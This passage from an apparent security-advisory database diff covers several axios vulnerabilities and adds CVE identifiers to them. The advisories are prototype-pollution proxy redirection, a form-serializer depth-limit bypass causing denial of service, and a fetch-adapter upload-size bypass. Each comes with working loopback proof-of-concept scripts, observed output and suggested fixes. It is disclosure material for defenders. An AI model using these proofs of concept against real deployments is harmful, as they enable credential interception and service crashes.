the application.\n\n
\nOriginal Report\n\n## Summary\n\n Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n ## Impact\n\n In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n request interceptor that returns a plain object copy of the config.\n\n Verified local impact:\n\n - Authenticated request redirection to attacker-controlled proxy.\n - Disclosure of explicit Authorization headers.\n - Disclosure of axios-generated Basic auth headers from config.auth.\n - Disclosure of request metadata: method, absolute URL, Host header.\n - Disclosure of POST body content.\n\n This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n ## Affected component\n\n The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n The issue requires:\n\n - Node.js HTTP adapter usage.\n - A polluted Object.prototype.proxy.\n - A request interceptor that returns a plain object copy of the config.\n - No own proxy: false or safe own proxy property on the request config.\n\n ## Affected versions\n\n Confirmed affected for this specific hardening-bypass variant:\n\n - axios@1.15.2\n - axios@1.16.0\n\n axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n Related older behavior observed during testing:\n\n - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n ## Root cause\n\n 1. Initial hardening\n\n Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n 2. Interceptor re-materialization\n\n Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n prototype config back into a normal object with Object.prototype as its prototype.\n Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n 3. No post-interceptor re-hardening\n\n Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n 4. Prototype-chain read of proxy in the Node adapter\n\n The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can\n redirect the outgoing authenticated request through an attacker-controlled proxy.\n Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n\n ## Why this is a security issue and not intended behavior\n\n Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The\n existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.\n\n This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an\n immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.\n\n ## Realistic threat model\n\n A realistic exploit chain is:\n\n 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.\n 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.\n 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.\n 4. The application sends an HTTP request with credentials or sensitive body data.\n 5. Axios routes that request through the inherited proxy configuration.\n\n This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.\n\n ## Proof of concept\n\n Save as poc.mjs in the axios repository root:\n\n```js\n import axios from './index.js';\n import http from 'node:http';\n\n const proxyEnvKeys = [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n ];\n\n for (const key of proxyEnvKeys) delete process.env[key];\n\n const listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n });\n\n const close = (server) => new Promise((resolve) => server.close(resolve));\n\n const targetHits = [];\n const proxyHits = [];\n\n const target = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n targetHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'target'}));\n });\n });\n\n const proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n method: req.method,\n authorization: req.headers.authorization || null,\n host: req.headers.host || null,\n body\n });\n res.writeHead(200, {'Content-Type': 'application/json'});\n res.end(JSON.stringify({server: 'proxy'}));\n });\n });\n\n Object.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n };\n\n const api = axios.create();\n\n api.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n }));\n\n try {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const explicit = await api.get(url, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const basic = await api.get(url, {\n auth: {username: 'svc-account', password: 'prod-secret'}\n });\n\n proxyHits.length = 0;\n targetHits.length = 0;\n\n const post = await api.post(url, {secret: 'request-body-secret'}, {\n headers: {Authorization: 'Bearer EXPLICIT_SECRET'}\n });\n\n console.log(JSON.stringify({\n explicitResponse: explicit.data,\n basicResponse: basic.data,\n postResponse: post.data,\n targetHits,\n proxyHits,\n finalConfigPrototype:\n Object.getPrototypeOf(post.config) === Object.prototype\n ? 'Object.prototype'\n : 'other',\n finalConfigHasOwnProxy:\n Object.prototype.hasOwnProperty.call(post.config, 'proxy')\n }, null, 2));\n } finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n }\n```\n\n Run:\n```bash\n npm ci\n node poc.mjs\n```\n\n ## Observed results\n\n Representative observed output from local loopback testing:\n\n```text\n\n {\n \"explicitResponse\": {\"server\": \"proxy\"},\n \"basicResponse\": {\"server\": \"proxy\"},\n \"postResponse\": {\"server\": \"proxy\"},\n \"targetHits\": [],\n \"proxyHits\": [\n {\n \"url\": \"http://127.0.0.1:40613/api/secret\",\n \"method\": \"POST\",\n \"authorization\": \"Bearer EXPLICIT_SECRET\",\n \"host\": \"127.0.0.1:40613\",\n \"body\": \"{\\\"secret\\\":\\\"request-body-secret\\\"}\"\n }\n ],\n \"finalConfigPrototype\": \"Object.prototype\",\n \"finalConfigHasOwnProxy\": false\n }\n\n Additional validation showed axios-generated Basic auth is also disclosed to the proxy:\n\n {\n \"authorization\": \"Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=\"\n }\n\n```\n\n That value decodes to:\n\n svc-account:prod-secret\n\n Negative controls were also tested:\n\n - No interceptor: target receives request, proxy receives none.\n - Interceptor mutating and returning the same config object: proxy receives none.\n - Own proxy: false: proxy receives none.\n - Null-prototype clone interceptor: proxy receives none.\n - Fetch adapter in Node with the same interceptor: proxy receives none.\n\n ## Suggested remediation\n\n Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.\n\n A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should\n also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.\n\n ## Minimal regression test\n\n Add an end-to-end Node HTTP adapter test that:\n\n 1. Starts a target server and attacker proxy on 127.0.0.1.\n 2. Sets Object.prototype.proxy to the attacker proxy.\n 3. Adds a request interceptor returning {...config, headers: {...config.headers}}.\n 4. Sends a request with an Authorization header.\n 5. Asserts the target server receives the request.\n 6. Asserts the attacker proxy receives no request.\n 7. Asserts the final config no longer exposes inherited proxy.\n\n A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.\n\n ## References / permalinks\n\n - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199\n - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48\n - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820\n - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144\n - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135\n
", "identifiers": { - "githubID": "GHSA-gcfj-64vw-6mp9" + "githubID": "GHSA-gcfj-64vw-6mp9", + "CVE": [ + "CVE-2026-67320" + ] }, "severity": "high", "cwe": [ @@ -8568,7 +8580,10 @@ "summary": "Axios form serializer maxDepth bypass via {} metatoken", "details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value && !path && typeof value === 'object') {\n if (utils.endsWith(key, '{}')) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth > maxDepth) {\n throw new AxiosError(\n 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from './lib/helpers/toFormData.js';\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i < depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ 'evil{}': buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || '', err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n
\nOriginal Report\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`\n- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`\n- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value && !path && typeof value === 'object') {\n// 166 if (utils.endsWith(key, '{}')) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth > maxDepth) {\n// 215 throw new AxiosError(\n// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) => {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": <8000-deep object>}\n// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d > maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v && typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () => Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n
", "identifiers": { - "githubID": "GHSA-hcpx-6fm6-wx23" + "githubID": "GHSA-hcpx-6fm6-wx23", + "CVE": [ + "CVE-2026-67321" + ] }, "severity": "medium", "cwe": [ @@ -8594,7 +8609,10 @@ "summary": "Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`", "details": "## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a WHATWG `ReadableStream` without a reliable `Content-Length`.\n- Configurations that set `maxBodyLength` to a finite value.\n\nNot affected:\n- Axios versions before the fetch adapter was introduced.\n- The Node HTTP adapter stream enforcement path.\n- Known-length fetch-adapter bodies in `1.16.0+`, such as strings, `Blob`, `ArrayBuffer`, `ArrayBufferView`, URLSearchParams, spec-compliant FormData, or requests with a finite `Content-Length`.\n\n## Technical Details\n\nIn `lib/adapters/fetch.js`, `getBodyLength()` handles null bodies, `Blob`, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for `ReadableStream`, so `resolveBodyLength(headers, data)` returns `undefined` when no finite `Content-Length` header is present.\n\nThe `maxBodyLength` check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to `fetch()`.\n\nWhen `onUploadProgress` is enabled, axios wraps the request body with `trackStream()`, but that wrapper only reports progress. It does not receive `maxBodyLength` and does not abort once loaded bytes exceed the cap.\n\nThe expected behavior exists in the HTTP adapter: `lib/adapters/http.js` enforces `maxBodyLength` for streamed uploads by counting chunks and rejecting with `ERR_BAD_REQUEST`.\n\n## Proof of Concept of Attack\n\nRun from the axios repo root on Node 18+ against an affected version:\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst { port } = server.address();\n\nfunction makeReadableStream(totalBytes) {\n const chunk = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n }\n );\n\n console.log(response.data);\n} finally {\n server.close();\n}\n```\n\nExpected vulnerable result: the server reports `received: 2097152` even though `maxBodyLength` is `1024`.\n\n## Workarounds\n\nUse the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter `maxBodyLength` for unknown-length `ReadableStream` bodies until a fixed axios version is available.\n\n
\nOriginal Report\n\n### Summary\naxios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium.\n\n### Details\nIn lib/adapters/fetch.js, body-length resolution has no ReadableStream branch:\n\nfetch.js Lines 121-155\n```\n const getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n if (utils.isBlob(body)) {\n return body.size;\n }\n if (utils.isSpecCompliantForm(body)) {\n const _request = new Request(platform.origin, {\n method: 'POST',\n body,\n });\n return (await _request.arrayBuffer()).byteLength;\n }\n if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {\n return body.byteLength;\n }\n if (utils.isURLSearchParams(body)) {\n body = body + '';\n }\n if (utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n };\n const resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n return length == null ? getBodyLength(body) : length;\n };\n```\n\nFor a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:\n\nfetch.js Lines 214-232\n```\n // Enforce maxBodyLength against the outbound request body before dispatch.\n // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than\n // maxBodyLength limit'). Skip when the body length cannot be determined\n // (e.g. a live ReadableStream supplied by the caller).\n if (hasMaxBodyLength && method !== 'get' && method !== 'head') {\n const outboundLength = await resolveBodyLength(headers, data);\n if (\n typeof outboundLength === 'number' &&\n isFinite(outboundLength) &&\n outboundLength > maxBodyLength\n ) {\n throw new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n request\n );\n }\n }\n```\n\nThe in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:\n\nfetch.js Lines 253-261\n```\n if (_request.body) {\n const [onProgress, flush] = progressEventDecorator(\n requestContentLength,\n progressEventReducer(asyncDecorator(onUploadProgress))\n );\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);\n }\n```\nThe body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http.createServer((req, res) => {\n let received = 0;\n req.on('data', (chunk) => {\n received += chunk.length;\n });\n req.on('end', () => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ received, limit: LIMIT }));\n });\n req.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeReadableStream(totalBytes) {\n const CHUNK = new Uint8Array(64 * 1024).fill(0x42);\n let remaining = totalBytes;\n return new ReadableStream({\n pull(controller) {\n if (remaining <= 0) {\n controller.close();\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n controller.enqueue(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(\n `http://127.0.0.1:${port}/upload`,\n makeReadableStream(PAYLOAD_BYTES),\n {\n adapter: 'fetch',\n maxBodyLength: LIMIT,\n headers: { 'content-type': 'application/octet-stream' },\n // No content-length: the stream's total length is unknown ahead of\n // dispatch, which is exactly the vulnerable code path.\n }\n );\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n}\n```\n\n### Impact\n- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).\n- Bypass of cost / quota guards on upstream APIs.\n- Resource exhaustion against the runtime's network stack and against upstream peers.\n
", "identifiers": { - "githubID": "GHSA-jqh4-m9w3-8hp9" + "githubID": "GHSA-jqh4-m9w3-8hp9", + "CVE": [ + "CVE-2026-67317" + ] }, "severity": "medium", "cwe": [ @@ -8621,7 +8639,10 @@ "summary": "Axios: Prototype pollution gadgets can alter axios request construction", "details": "## Summary\n\naxios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body.\n\nAdditional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`.\n\n## Impact\n\nAn attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`.\n\nFor direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification.\n\nFor direct `resolveConfig` or browser-adapter helper usage, inherited 